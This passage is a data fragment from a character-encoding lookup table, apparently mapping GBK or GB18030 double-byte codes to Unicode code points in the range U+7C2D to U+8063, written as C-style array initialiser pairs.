{0x8fba,0x7c2d},{0x90ba,0x7c2e},{0x91ba,0x7c2f},{0x92ba,0x7c30},{0x93ba,0x7c31},
{0x94ba,0x7c32},{0x95ba,0x7c33},{0x96ba,0x7c34},{0x97ba,0x7c35},{0x98ba,0x7c36},
{0x99ba,0x7c37},{0xa4f4,0x7c38},{0x9aba,0x7c39},{0x9bba,0x7c3a},{0x9cba,0x7c3b},
{0x9dba,0x7c3c},{0x9eba,0x7c3d},{0x9fba,0x7c3e},{0xbeb2,0x7c3f},{0xa6f4,0x7c40},
{0xa5f4,0x7c41},{0xa0ba,0x7c42},{0x40bb,0x7c43},{0x41bb,0x7c44},{0x42bb,0x7c45},
{0x43bb,0x7c46},{0x44bb,0x7c47},{0x45bb,0x7c48},{0x46bb,0x7c49},{0x47bb,0x7c4a},
{0x48bb,0x7c4b},{0x49bb,0x7c4c},{0xaebc,0x7c4d},{0x4abb,0x7c4e},{0x4bbb,0x7c4f},
{0x4cbb,0x7c50},{0x4dbb,0x7c51},{0x4ebb,0x7c52},{0x4fbb,0x7c53},{0x50bb,0x7c54},
{0x51bb,0x7c55},{0x52bb,0x7c56},{0x53bb,0x7c57},{0x54bb,0x7c58},{0x55bb,0x7c59},
{0x56bb,0x7c5a},{0x57bb,0x7c5b},{0x58bb,0x7c5c},{0x59bb,0x7c5d},{0x5abb,0x7c5e},
{0x5bbb,0x7c5f},{0x5cbb,0x7c60},{0x5dbb,0x7c61},{0x5ebb,0x7c62},{0x5fbb,0x7c63},
{0x60bb,0x7c64},{0x61bb,0x7c65},{0x62bb,0x7c66},{0x63bb,0x7c67},{0x64bb,0x7c68},
{0x65bb,0x7c69},{0x66bb,0x7c6a},{0x67bb,0x7c6b},{0x68bb,0x7c6c},{0x69bb,0x7c6d},
{0x6abb,0x7c6e},{0x6bbb,0x7c6f},{0x6cbb,0x7c70},{0x6dbb,0x7c71},{0x6ebb,0x7c72},
{0xd7c3,0x7c73},{0xe1d9,0x7c74},{0x6fbb,0x7c75},{0x70bb,0x7c76},{0x71bb,0x7c77},
{0x72bb,0x7c78},{0x73bb,0x7c79},{0x74bb,0x7c7a},{0xe0c0,0x7c7b},{0xccf4,0x7c7c},
{0xd1d7,0x7c7d},{0x75bb,0x7c7e},{0x76bb,0x7c7f},{0x77bb,0x7c80},{0x78bb,0x7c81},
{0x79bb,0x7c82},{0x7abb,0x7c83},{0x7bbb,0x7c84},{0x7cbb,0x7c85},{0x7dbb,0x7c86},
{0x7ebb,0x7c87},{0x80bb,0x7c88},{0xdbb7,0x7c89},{0x81bb,0x7c8a},{0x82bb,0x7c8b},
{0x83bb,0x7c8c},{0x84bb,0x7c8d},{0x85bb,0x7c8e},{0x86bb,0x7c8f},{0x87bb,0x7c90},
{0xcef4,0x7c91},{0xa3c1,0x7c92},{0x88bb,0x7c93},{0x89bb,0x7c94},{0xc9c6,0x7c95},
{0x8abb,0x7c96},{0xd6b4,0x7c97},{0xb3d5,0x7c98},{0x8bbb,0x7c99},{0x8cbb,0x7c9a},
{0x8dbb,0x7c9b},{0xd0f4,0x7c9c},{0xcff4,0x7c9d},{0xd1f4,0x7c9e},{0xdacb,0x7c9f},
{0x8ebb,0x7ca0},{0x8fbb,0x7ca1},{0xd2f4,0x7ca2},{0x90bb,0x7ca3},{0xc1d4,0x7ca4},
{0xe0d6,0x7ca5},{0x91bb,0x7ca6},{0x92bb,0x7ca7},{0x93bb,0x7ca8},{0x94bb,0x7ca9},
{0xe0b7,0x7caa},{0x95bb,0x7cab},{0x96bb,0x7cac},{0x97bb,0x7cad},{0xb8c1,0x7cae},
{0x98bb,0x7caf},{0x99bb,0x7cb0},{0xbbc1,0x7cb1},{0xd3f4,0x7cb2},{0xacbe,0x7cb3},
{0x9abb,0x7cb4},{0x9bbb,0x7cb5},{0x9cbb,0x7cb6},{0x9dbb,0x7cb7},{0x9ebb,0x7cb8},
{0xe2b4,0x7cb9},{0x9fbb,0x7cba},{0xa0bb,0x7cbb},{0xd4f4,0x7cbc},{0xd5f4,0x7cbd},
{0xabbe,0x7cbe},{0x40bc,0x7cbf},{0x41bc,0x7cc0},{0xd6f4,0x7cc1},{0x42bc,0x7cc2},
{0x43bc,0x7cc3},{0x44bc,0x7cc4},{0xdbf4,0x7cc5},{0x45bc,0x7cc6},{0xd7f4,0x7cc7},
{0xdaf4,0x7cc8},{0x46bc,0x7cc9},{0xfdba,0x7cca},{0x47bc,0x7ccb},{0xd8f4,0x7ccc},
{0xd9f4,0x7ccd},{0x48bc,0x7cce},{0x49bc,0x7ccf},{0x4abc,0x7cd0},{0x4bbc,0x7cd1},
{0x4cbc,0x7cd2},{0x4dbc,0x7cd3},{0x4ebc,0x7cd4},{0xe2b8,0x7cd5},{0xc7cc,0x7cd6},
{0xdcf4,0x7cd7},{0x4fbc,0x7cd8},{0xdab2,0x7cd9},{0x50bc,0x7cda},{0x51bc,0x7cdb},
{0xd3c3,0x7cdc},{0x52bc,0x7cdd},{0x53bc,0x7cde},{0xe3d4,0x7cdf},{0xb7bf,0x7ce0},
{0x54bc,0x7ce1},{0x55bc,0x7ce2},{0x56bc,0x7ce3},{0x57bc,0x7ce4},{0x58bc,0x7ce5},
{0x59bc,0x7ce6},{0x5abc,0x7ce7},{0xddf4,0x7ce8},{0x5bbc,0x7ce9},{0x5cbc,0x7cea},
{0x5dbc,0x7ceb},{0x5ebc,0x7cec},{0x5fbc,0x7ced},{0x60bc,0x7cee},{0xb4c5,0x7cef},
{0x61bc,0x7cf0},{0x62bc,0x7cf1},{0x63bc,0x7cf2},{0x64bc,0x7cf3},{0x65bc,0x7cf4},
{0x66bc,0x7cf5},{0x67bc,0x7cf6},{0x68bc,0x7cf7},{0xe9f4,0x7cf8},{0x69bc,0x7cf9},
{0x6abc,0x7cfa},{0xb5cf,0x7cfb},{0x6bbc,0x7cfc},{0x6cbc,0x7cfd},{0x6dbc,0x7cfe},
{0x6fbc,0x7d00},{0x70bc,0x7d01},{0x71bc,0x7d02},{0x72bc,0x7d03},{0x73bc,0x7d04},
{0x74bc,0x7d05},{0x75bc,0x7d06},{0x76bc,0x7d07},{0x77bc,0x7d08},{0x78bc,0x7d09},
{0xc9ce,0x7d0a},{0x79bc,0x7d0b},{0x7abc,0x7d0c},{0x7bbc,0x7d0d},{0x7cbc,0x7d0e},
{0x7dbc,0x7d0f},{0x7ebc,0x7d10},{0x80bc,0x7d11},{0x81bc,0x7d12},{0x82bc,0x7d13},
{0x83bc,0x7d14},{0x84bc,0x7d15},{0x85bc,0x7d16},{0x86bc,0x7d17},{0x87bc,0x7d18},
{0x88bc,0x7d19},{0x89bc,0x7d1a},{0x8abc,0x7d1b},{0x8bbc,0x7d1c},{0x8cbc,0x7d1d},
{0x8dbc,0x7d1e},{0x8ebc,0x7d1f},{0xd8cb,0x7d20},{0x8fbc,0x7d21},{0xf7cb,0x7d22},
{0x90bc,0x7d23},{0x91bc,0x7d24},{0x92bc,0x7d25},{0x93bc,0x7d26},{0xf4bd,0x7d27},
{0x94bc,0x7d28},{0x95bc,0x7d29},{0x96bc,0x7d2a},{0xcfd7,0x7d2b},{0x97bc,0x7d2c},
{0x98bc,0x7d2d},{0x99bc,0x7d2e},{0xdbc0,0x7d2f},{0x9abc,0x7d30},{0x9bbc,0x7d31},
{0x9cbc,0x7d32},{0x9dbc,0x7d33},{0x9ebc,0x7d34},{0x9fbc,0x7d35},{0xa0bc,0x7d36},
{0x40bd,0x7d37},{0x41bd,0x7d38},{0x42bd,0x7d39},{0x43bd,0x7d3a},{0x44bd,0x7d3b},
{0x45bd,0x7d3c},{0x46bd,0x7d3d},{0x47bd,0x7d3e},{0x48bd,0x7d3f},{0x49bd,0x7d40},
{0x4abd,0x7d41},{0x4bbd,0x7d42},{0x4cbd,0x7d43},{0x4dbd,0x7d44},{0x4ebd,0x7d45},
{0x4fbd,0x7d46},{0x50bd,0x7d47},{0x51bd,0x7d48},{0x52bd,0x7d49},{0x53bd,0x7d4a},
{0x54bd,0x7d4b},{0x55bd,0x7d4c},{0x56bd,0x7d4d},{0x57bd,0x7d4e},{0x58bd,0x7d4f},
{0x59bd,0x7d50},{0x5abd,0x7d51},{0x5bbd,0x7d52},{0x5cbd,0x7d53},{0x5dbd,0x7d54},
{0x5ebd,0x7d55},{0x5fbd,0x7d56},{0x60bd,0x7d57},{0x61bd,0x7d58},{0x62bd,0x7d59},
{0x63bd,0x7d5a},{0x64bd,0x7d5b},{0x65bd,0x7d5c},{0x66bd,0x7d5d},{0x67bd,0x7d5e},
{0x68bd,0x7d5f},{0x69bd,0x7d60},{0x6abd,0x7d61},{0x6bbd,0x7d62},{0x6cbd,0x7d63},
{0x6dbd,0x7d64},{0x6ebd,0x7d65},{0x6fbd,0x7d66},{0x70bd,0x7d67},{0x71bd,0x7d68},
{0x72bd,0x7d69},{0x73bd,0x7d6a},{0x74bd,0x7d6b},{0x75bd,0x7d6c},{0x76bd,0x7d6d},
{0xf5d0,0x7d6e},{0x77bd,0x7d6f},{0x78bd,0x7d70},{0x79bd,0x7d71},{0x7abd,0x7d72},
{0x7bbd,0x7d73},{0x7cbd,0x7d74},{0x7dbd,0x7d75},{0x7ebd,0x7d76},{0xeaf4,0x7d77},
{0x80bd,0x7d78},{0x81bd,0x7d79},{0x82bd,0x7d7a},{0x83bd,0x7d7b},{0x84bd,0x7d7c},
{0x85bd,0x7d7d},{0x86bd,0x7d7e},{0x87bd,0x7d7f},{0x88bd,0x7d80},{0x89bd,0x7d81},
{0x8abd,0x7d82},{0x8bbd,0x7d83},{0x8cbd,0x7d84},{0x8dbd,0x7d85},{0x8ebd,0x7d86},
{0x8fbd,0x7d87},{0x90bd,0x7d88},{0x91bd,0x7d89},{0x92bd,0x7d8a},{0x93bd,0x7d8b},
{0x94bd,0x7d8c},{0x95bd,0x7d8d},{0x96bd,0x7d8e},{0x97bd,0x7d8f},{0x98bd,0x7d90},
{0x99bd,0x7d91},{0x9abd,0x7d92},{0x9bbd,0x7d93},{0x9cbd,0x7d94},{0x9dbd,0x7d95},
{0x9ebd,0x7d96},{0x9fbd,0x7d97},{0xa0bd,0x7d98},{0x40be,0x7d99},{0x41be,0x7d9a},
{0x42be,0x7d9b},{0x43be,0x7d9c},{0x44be,0x7d9d},{0x45be,0x7d9e},{0x46be,0x7d9f},
{0x47be,0x7da0},{0x48be,0x7da1},{0x49be,0x7da2},{0x4abe,0x7da3},{0x4bbe,0x7da4},
{0x4cbe,0x7da5},{0xebf4,0x7da6},{0x4dbe,0x7da7},{0x4ebe,0x7da8},{0x4fbe,0x7da9},
{0x50be,0x7daa},{0x51be,0x7dab},{0x52be,0x7dac},{0x53be,0x7dad},{0xecf4,0x7dae},
{0x54be,0x7daf},{0x55be,0x7db0},{0x56be,0x7db1},{0x57be,0x7db2},{0x58be,0x7db3},
{0x59be,0x7db4},{0x5abe,0x7db5},{0x5bbe,0x7db6},{0x5cbe,0x7db7},{0x5dbe,0x7db8},
{0x5ebe,0x7db9},{0x5fbe,0x7dba},{0x60be,0x7dbb},{0x61be,0x7dbc},{0x62be,0x7dbd},
{0x63be,0x7dbe},{0x64be,0x7dbf},{0x65be,0x7dc0},{0x66be,0x7dc1},{0x67be,0x7dc2},
{0x68be,0x7dc3},{0x69be,0x7dc4},{0x6abe,0x7dc5},{0x6bbe,0x7dc6},{0x6cbe,0x7dc7},
{0x6dbe,0x7dc8},{0x6ebe,0x7dc9},{0x6fbe,0x7dca},{0x70be,0x7dcb},{0x71be,0x7dcc},
{0x72be,0x7dcd},{0x73be,0x7dce},{0x74be,0x7dcf},{0x75be,0x7dd0},{0x76be,0x7dd1},
{0x77be,0x7dd2},{0x78be,0x7dd3},{0x79be,0x7dd4},{0x7abe,0x7dd5},{0x7bbe,0x7dd6},
{0x7cbe,0x7dd7},{0x7dbe,0x7dd8},{0x7ebe,0x7dd9},{0x80be,0x7dda},{0x81be,0x7ddb},
{0x82be,0x7ddc},{0x83be,0x7ddd},{0x84be,0x7dde},{0x85be,0x7ddf},{0x86be,0x7de0},
{0x87be,0x7de1},{0x88be,0x7de2},{0x89be,0x7de3},{0x8abe,0x7de4},{0x8bbe,0x7de5},
{0x8cbe,0x7de6},{0x8dbe,0x7de7},{0x8ebe,0x7de8},{0x8fbe,0x7de9},{0x90be,0x7dea},
{0x91be,0x7deb},{0x92be,0x7dec},{0x93be,0x7ded},{0x94be,0x7dee},{0x95be,0x7def},
{0x96be,0x7df0},{0x97be,0x7df1},{0x98be,0x7df2},{0x99be,0x7df3},{0x9abe,0x7df4},
{0x9bbe,0x7df5},{0x9cbe,0x7df6},{0x9dbe,0x7df7},{0x9ebe,0x7df8},{0x9fbe,0x7df9},
{0xa0be,0x7dfa},{0x40bf,0x7dfb},{0x41bf,0x7dfc},{0x42bf,0x7dfd},{0x43bf,0x7dfe},
{0x45bf,0x7e00},{0x46bf,0x7e01},{0x47bf,0x7e02},{0x48bf,0x7e03},{0x49bf,0x7e04},
{0x4abf,0x7e05},{0x4bbf,0x7e06},{0x4cbf,0x7e07},{0x4dbf,0x7e08},{0x4ebf,0x7e09},
{0x4fbf,0x7e0a},{0x50bf,0x7e0b},{0x51bf,0x7e0c},{0x52bf,0x7e0d},{0x53bf,0x7e0e},
{0x54bf,0x7e0f},{0x55bf,0x7e10},{0x56bf,0x7e11},{0x57bf,0x7e12},{0x58bf,0x7e13},
{0x59bf,0x7e14},{0x5abf,0x7e15},{0x5bbf,0x7e16},{0x5cbf,0x7e17},{0x5dbf,0x7e18},
{0x5ebf,0x7e19},{0x5fbf,0x7e1a},{0x60bf,0x7e1b},{0x61bf,0x7e1c},{0x62bf,0x7e1d},
{0x63bf,0x7e1e},{0x64bf,0x7e1f},{0x65bf,0x7e20},{0x66bf,0x7e21},{0x67bf,0x7e22},
{0x68bf,0x7e23},{0x69bf,0x7e24},{0x6abf,0x7e25},{0x6bbf,0x7e26},{0x6cbf,0x7e27},
{0x6dbf,0x7e28},{0x6ebf,0x7e29},{0x6fbf,0x7e2a},{0x70bf,0x7e2b},{0x71bf,0x7e2c},
{0x72bf,0x7e2d},{0x73bf,0x7e2e},{0x74bf,0x7e2f},{0x75bf,0x7e30},{0x76bf,0x7e31},
{0x77bf,0x7e32},{0x78bf,0x7e33},{0x79bf,0x7e34},{0x7abf,0x7e35},{0x7bbf,0x7e36},
{0x7cbf,0x7e37},{0x7dbf,0x7e38},{0x7ebf,0x7e39},{0x80bf,0x7e3a},{0xe3f7,0x7e3b},
{0x81bf,0x7e3c},{0x82bf,0x7e3d},{0x83bf,0x7e3e},{0x84bf,0x7e3f},{0x85bf,0x7e40},
{0xb1b7,0x7e41},{0x86bf,0x7e42},{0x87bf,0x7e43},{0x88bf,0x7e44},{0x89bf,0x7e45},
{0x8abf,0x7e46},{0xedf4,0x7e47},{0x8bbf,0x7e48},{0x8cbf,0x7e49},{0x8dbf,0x7e4a},
{0x8ebf,0x7e4b},{0x8fbf,0x7e4c},{0x90bf,0x7e4d},{0x91bf,0x7e4e},{0x92bf,0x7e4f},
{0x93bf,0x7e50},{0x94bf,0x7e51},{0x95bf,0x7e52},{0x96bf,0x7e53},{0x97bf,0x7e54},
{0x98bf,0x7e55},{0x99bf,0x7e56},{0x9abf,0x7e57},{0x9bbf,0x7e58},{0x9cbf,0x7e59},
{0x9dbf,0x7e5a},{0x9ebf,0x7e5b},{0x9fbf,0x7e5c},{0xa0bf,0x7e5d},{0x40c0,0x7e5e},
{0x41c0,0x7e5f},{0x42c0,0x7e60},{0x43c0,0x7e61},{0x44c0,0x7e62},{0x45c0,0x7e63},
{0x46c0,0x7e64},{0x47c0,0x7e65},{0x48c0,0x7e66},{0x49c0,0x7e67},{0x4ac0,0x7e68},
{0x4bc0,0x7e69},{0x4cc0,0x7e6a},{0x4dc0,0x7e6b},{0x4ec0,0x7e6c},{0x4fc0,0x7e6d},
{0x50c0,0x7e6e},{0x51c0,0x7e6f},{0x52c0,0x7e70},{0x53c0,0x7e71},{0x54c0,0x7e72},
{0x55c0,0x7e73},{0x56c0,0x7e74},{0x57c0,0x7e75},{0x58c0,0x7e76},{0x59c0,0x7e77},
{0x5ac0,0x7e78},{0x5bc0,0x7e79},{0x5cc0,0x7e7a},{0x5dc0,0x7e7b},{0x5ec0,0x7e7c},
{0x5fc0,0x7e7d},{0x60c0,0x7e7e},{0x61c0,0x7e7f},{0x62c0,0x7e80},{0x63c0,0x7e81},
{0xebd7,0x7e82},{0x64c0,0x7e83},{0x65c0,0x7e84},{0x66c0,0x7e85},{0x67c0,0x7e86},
{0x68c0,0x7e87},{0x69c0,0x7e88},{0x6ac0,0x7e89},{0x6bc0,0x7e8a},{0x6cc0,0x7e8b},
{0x6dc0,0x7e8c},{0x6ec0,0x7e8d},{0x6fc0,0x7e8e},{0x70c0,0x7e8f},{0x71c0,0x7e90},
{0x72c0,0x7e91},{0x73c0,0x7e92},{0x74c0,0x7e93},{0x75c0,0x7e94},{0x76c0,0x7e95},
{0x77c0,0x7e96},{0x78c0,0x7e97},{0x79c0,0x7e98},{0x7ac0,0x7e99},{0x7bc0,0x7e9a},
{0xeef4,0x7e9b},{0x7cc0,0x7e9c},{0x7dc0,0x7e9d},{0x7ec0,0x7e9e},{0xf9e6,0x7e9f},
{0xc0be,0x7ea0},{0xfae6,0x7ea1},{0xecba,0x7ea2},{0xfbe6,0x7ea3},{0xcbcf,0x7ea4},
{0xfce6,0x7ea5},{0xbcd4,0x7ea6},{0xb6bc,0x7ea7},{0xfde6,0x7ea8},{0xfee6,0x7ea9},
{0xcdbc,0x7eaa},{0xd2c8,0x7eab},{0xb3ce,0x7eac},{0xa1e7,0x7ead},{0x80c0,0x7eae},
{0xbfb4,0x7eaf},{0xa2e7,0x7eb0},{0xb4c9,0x7eb1},{0xd9b8,0x7eb2},{0xc9c4,0x7eb3},
{0x81c0,0x7eb4},{0xddd7,0x7eb5},{0xdac2,0x7eb6},{0xd7b7,0x7eb7},{0xbdd6,0x7eb8},
{0xc6ce,0x7eb9},{0xc4b7,0x7eba},{0x82c0,0x7ebb},{0x83c0,0x7ebc},{0xa6c5,0x7ebd},
{0xa3e7,0x7ebe},{0xdfcf,0x7ebf},{0xa4e7,0x7ec0},{0xa5e7,0x7ec1},{0xa6e7,0x7ec2},
{0xb7c1,0x7ec3},{0xe9d7,0x7ec4},{0xf0c9,0x7ec5},{0xb8cf,0x7ec6},{0xafd6,0x7ec7},
{0xd5d6,0x7ec8},{0xa7e7,0x7ec9},{0xedb0,0x7eca},{0xa8e7,0x7ecb},{0xa9e7,0x7ecc},
{0xdcc9,0x7ecd},{0xefd2,0x7ece},{0xadbe,0x7ecf},{0xaae7,0x7ed0},{0xf3b0,0x7ed1},
{0xdec8,0x7ed2},{0xe1bd,0x7ed3},{0xabe7,0x7ed4},{0xc6c8,0x7ed5},{0x84c0,0x7ed6},
{0xace7,0x7ed7},{0xe6bb,0x7ed8},{0xf8b8,0x7ed9},{0xa4d1,0x7eda},{0xade7,0x7edb},
{0xe7c2,0x7edc},{0xf8be,0x7edd},{0xcabd,0x7ede},{0xb3cd,0x7edf},{0xaee7,0x7ee0},
{0xafe7,0x7ee1},{0xeebe,0x7ee2},{0xe5d0,0x7ee3},{0x85c0,0x7ee4},{0xe7cb,0x7ee5},
{0xd0cc,0x7ee6},{0xccbc,0x7ee7},{0xb0e7,0x7ee8},{0xa8bc,0x7ee9},{0xf7d0,0x7eea},
{0xb1e7,0x7eeb},{0x86c0,0x7eec},{0xf8d0,0x7eed},{0xb2e7,0x7eee},{0xb3e7,0x7eef},
{0xc2b4,0x7ef0},{0xb4e7,0x7ef1},{0xb5e7,0x7ef2},{0xfec9,0x7ef3},{0xacce,0x7ef4},
{0xe0c3,0x7ef5},{0xb7e7,0x7ef6},{0xc1b1,0x7ef7},{0xf1b3,0x7ef8},{0x87c0,0x7ef9},
{0xb8e7,0x7efa},{0xb9e7,0x7efb},{0xdbd7,0x7efc},{0xc0d5,0x7efd},{0xbae7,0x7efe},
{0xbad7,0x7f00},{0xbbe7,0x7f01},{0xbce7,0x7f02},{0xbde7,0x7f03},{0xeabc,0x7f04},
{0xe5c3,0x7f05},{0xc2c0,0x7f06},{0xbee7,0x7f07},{0xbfe7,0x7f08},{0xa9bc,0x7f09},
{0x88c0,0x7f0a},{0xc0e7,0x7f0b},{0xc1e7,0x7f0c},{0xb6e7,0x7f0d},{0xd0b6,0x7f0e},
{0xc2e7,0x7f0f},{0x89c0,0x7f10},{0xc3e7,0x7f11},{0xc4e7,0x7f12},{0xbabb,0x7f13},
{0xdeb5,0x7f14},{0xc6c2,0x7f15},{0xe0b1,0x7f16},{0xc5e7,0x7f17},{0xb5d4,0x7f18},
{0xc6e7,0x7f19},{0xbfb8,0x7f1a},{0xc8e7,0x7f1b},{0xc7e7,0x7f1c},{0xecb7,0x7f1d},
{0x8ac0,0x7f1e},{0xc9e7,0x7f1f},{0xf8b2,0x7f20},{0xcae7,0x7f21},{0xcbe7,0x7f22},
{0xcce7,0x7f23},{0xcde7,0x7f24},{0xcee7,0x7f25},{0xcfe7,0x7f26},{0xd0e7,0x7f27},
{0xa7d3,0x7f28},{0xf5cb,0x7f29},{0xd1e7,0x7f2a},{0xd2e7,0x7f2b},{0xd3e7,0x7f2c},
{0xd4e7,0x7f2d},{0xc9c9,0x7f2e},{0xd5e7,0x7f2f},{0xd6e7,0x7f30},{0xd7e7,0x7f31},
{0xd8e7,0x7f32},{0xd9e7,0x7f33},{0xc9bd,0x7f34},{0xdae7,0x7f35},{0xbef3,0x7f36},
{0x8bc0,0x7f37},{0xd7b8,0x7f38},{0x8cc0,0x7f39},{0xb1c8,0x7f3a},{0x8dc0,0x7f3b},
{0x8ec0,0x7f3c},{0x8fc0,0x7f3d},{0x90c0,0x7f3e},{0x91c0,0x7f3f},{0x92c0,0x7f40},
{0x93c0,0x7f41},{0xbff3,0x7f42},{0x94c0,0x7f43},{0xc0f3,0x7f44},{0xc1f3,0x7f45},
{0x95c0,0x7f46},{0x96c0,0x7f47},{0x97c0,0x7f48},{0x98c0,0x7f49},{0x99c0,0x7f4a},
{0x9ac0,0x7f4b},{0x9bc0,0x7f4c},{0x9cc0,0x7f4d},{0x9dc0,0x7f4e},{0x9ec0,0x7f4f},
{0xdeb9,0x7f50},{0xf8cd,0x7f51},{0x9fc0,0x7f52},{0xa0c0,0x7f53},{0xe8d8,0x7f54},
{0xb1ba,0x7f55},{0x40c1,0x7f56},{0xdec2,0x7f57},{0xb7ee,0x7f58},{0x41c1,0x7f59},
{0xa3b7,0x7f5a},{0x42c1,0x7f5b},{0x43c1,0x7f5c},{0x44c1,0x7f5d},{0x45c1,0x7f5e},
{0xb9ee,0x7f5f},{0x46c1,0x7f60},{0xb8ee,0x7f61},{0xd5b0,0x7f62},{0x47c1,0x7f63},
{0x48c1,0x7f64},{0x49c1,0x7f65},{0x4ac1,0x7f66},{0x4bc1,0x7f67},{0xbbee,0x7f68},
{0xd6d5,0x7f69},{0xefd7,0x7f6a},{0x4cc1,0x7f6b},{0x4dc1,0x7f6c},{0x4ec1,0x7f6d},
{0xc3d6,0x7f6e},{0x4fc1,0x7f6f},{0x50c1,0x7f70},{0xbdee,0x7f71},{0xf0ca,0x7f72},
{0x51c1,0x7f73},{0xbcee,0x7f74},{0x52c1,0x7f75},{0x53c1,0x7f76},{0x54c1,0x7f77},
{0x55c1,0x7f78},{0xbeee,0x7f79},{0x56c1,0x7f7a},{0x57c1,0x7f7b},{0x58c1,0x7f7c},
{0x59c1,0x7f7d},{0xc0ee,0x7f7e},{0x5ac1,0x7f7f},{0x5bc1,0x7f80},{0xbfee,0x7f81},
{0x5cc1,0x7f82},{0x5dc1,0x7f83},{0x5ec1,0x7f84},{0x5fc1,0x7f85},{0x60c1,0x7f86},
{0x61c1,0x7f87},{0x62c1,0x7f88},{0x63c1,0x7f89},{0xf2d1,0x7f8a},{0x64c1,0x7f8b},
{0xbcc7,0x7f8c},{0x65c1,0x7f8d},{0xc0c3,0x7f8e},{0x66c1,0x7f8f},{0x67c1,0x7f90},
{0x68c1,0x7f91},{0x69c1,0x7f92},{0x6ac1,0x7f93},{0xe1b8,0x7f94},{0x6bc1,0x7f95},
{0x6cc1,0x7f96},{0x6dc1,0x7f97},{0x6ec1,0x7f98},{0x6fc1,0x7f99},{0xe7c1,0x7f9a},
{0x70c1,0x7f9b},{0x71c1,0x7f9c},{0xc6f4,0x7f9d},{0xdfd0,0x7f9e},{0xc7f4,0x7f9f},
{0x72c1,0x7fa0},{0xdbcf,0x7fa1},{0x73c1,0x7fa2},{0x74c1,0x7fa3},{0xbac8,0x7fa4},
{0x75c1,0x7fa5},{0x76c1,0x7fa6},{0xc8f4,0x7fa7},{0x77c1,0x7fa8},{0x78c1,0x7fa9},
{0x79c1,0x7faa},{0x7ac1,0x7fab},{0x7bc1,0x7fac},{0x7cc1,0x7fad},{0x7dc1,0x7fae},
{0xc9f4,0x7faf},{0xcaf4,0x7fb0},{0x7ec1,0x7fb1},{0xcbf4,0x7fb2},{0x80c1,0x7fb3},
{0x81c1,0x7fb4},{0x82c1,0x7fb5},{0x83c1,0x7fb6},{0x84c1,0x7fb7},{0xfad9,0x7fb8},
{0xfeb8,0x7fb9},{0x85c1,0x7fba},{0x86c1,0x7fbb},{0xf1e5,0x7fbc},{0xf0d3,0x7fbd},
{0x87c1,0x7fbe},{0xe0f4,0x7fbf},{0x88c1,0x7fc0},{0xccce,0x7fc1},{0x89c1,0x7fc2},
{0x8ac1,0x7fc3},{0x8bc1,0x7fc4},{0xe1b3,0x7fc5},{0x8cc1,0x7fc6},{0x8dc1,0x7fc7},
{0x8ec1,0x7fc8},{0x8fc1,0x7fc9},{0xb4f1,0x7fca},{0x90c1,0x7fcb},{0xeed2,0x7fcc},
{0x91c1,0x7fcd},{0xe1f4,0x7fce},{0x92c1,0x7fcf},{0x93c1,0x7fd0},{0x94c1,0x7fd1},
{0x95c1,0x7fd2},{0x96c1,0x7fd3},{0xe8cf,0x7fd4},{0xe2f4,0x7fd5},{0x97c1,0x7fd6},
{0x98c1,0x7fd7},{0xccc7,0x7fd8},{0x99c1,0x7fd9},{0x9ac1,0x7fda},{0x9bc1,0x7fdb},
{0x9cc1,0x7fdc},{0x9dc1,0x7fdd},{0x9ec1,0x7fde},{0xd4b5,0x7fdf},{0xe4b4,0x7fe0},
{0xe4f4,0x7fe1},{0x9fc1,0x7fe2},{0xa0c1,0x7fe3},{0x40c2,0x7fe4},{0xe3f4,0x7fe5},
{0xe5f4,0x7fe6},{0x41c2,0x7fe7},{0x42c2,0x7fe8},{0xe6f4,0x7fe9},{0x43c2,0x7fea},
{0x44c2,0x7feb},{0x45c2,0x7fec},{0x46c2,0x7fed},{0xe7f4,0x7fee},{0x47c2,0x7fef},
{0xb2ba,0x7ff0},{0xbfb0,0x7ff1},{0x48c2,0x7ff2},{0xe8f4,0x7ff3},{0x49c2,0x7ff4},
{0x4ac2,0x7ff5},{0x4bc2,0x7ff6},{0x4cc2,0x7ff7},{0x4dc2,0x7ff8},{0x4ec2,0x7ff9},
{0x4fc2,0x7ffa},{0xadb7,0x7ffb},{0xedd2,0x7ffc},{0x50c2,0x7ffd},{0x51c2,0x7ffe},
{0xabd2,0x8000},{0xcfc0,0x8001},{0x53c2,0x8002},{0xbcbf,0x8003},{0xa3eb,0x8004},
{0xdfd5,0x8005},{0xc8ea,0x8006},{0x54c2,0x8007},{0x55c2,0x8008},{0x56c2,0x8009},
{0x57c2,0x800a},{0xf3f1,0x800b},{0xf8b6,0x800c},{0xa3cb,0x800d},{0x58c2,0x800e},
{0x59c2,0x800f},{0xcdc4,0x8010},{0x5ac2,0x8011},{0xe7f1,0x8012},{0x5bc2,0x8013},
{0xe8f1,0x8014},{0xfbb8,0x8015},{0xe9f1,0x8016},{0xc4ba,0x8017},{0xc5d4,0x8018},
{0xd2b0,0x8019},{0x5cc2,0x801a},{0x5dc2,0x801b},{0xeaf1,0x801c},{0x5ec2,0x801d},
{0x5fc2,0x801e},{0x60c2,0x801f},{0xebf1,0x8020},{0x61c2,0x8021},{0xecf1,0x8022},
{0x62c2,0x8023},{0x63c2,0x8024},{0xedf1,0x8025},{0xeef1,0x8026},{0xeff1,0x8027},
{0xf1f1,0x8028},{0xf0f1,0x8029},{0xd5c5,0x802a},{0x64c2,0x802b},{0x65c2,0x802c},
{0x66c2,0x802d},{0x67c2,0x802e},{0x68c2,0x802f},{0x69c2,0x8030},{0xf2f1,0x8031},
{0x6ac2,0x8032},{0xfab6,0x8033},{0x6bc2,0x8034},{0xf4f1,0x8035},{0xaed2,0x8036},
{0xc7de,0x8037},{0xcacb,0x8038},{0x6cc2,0x8039},{0x6dc2,0x803a},{0xdcb3,0x803b},
{0x6ec2,0x803c},{0xa2b5,0x803d},{0x6fc2,0x803e},{0xa2b9,0x803f},{0x70c2,0x8040},
{0x71c2,0x8041},{0xf4c4,0x8042},{0xf5f1,0x8043},{0x72c2,0x8044},{0x73c2,0x8045},
{0xf6f1,0x8046},{0x74c2,0x8047},{0x75c2,0x8048},{0x76c2,0x8049},{0xc4c1,0x804a},
{0xfbc1,0x804b},{0xb0d6,0x804c},{0xf7f1,0x804d},{0x77c2,0x804e},{0x78c2,0x804f},
{0x79c2,0x8050},{0x7ac2,0x8051},{0xf8f1,0x8052},{0x7bc2,0x8053},{0xaac1,0x8054},
{0x7cc2,0x8055},{0x7dc2,0x8056},{0x7ec2,0x8057},{0xb8c6,0x8058},{0x80c2,0x8059},
{0xdbbe,0x805a},{0x81c2,0x805b},{0x82c2,0x805c},{0x83c2,0x805d},{0x84c2,0x805e},
{0x85c2,0x805f},{0x86c2,0x8060},{0x87c2,0x8061},{0x88c2,0x8062},{0x89c2,0x8063},
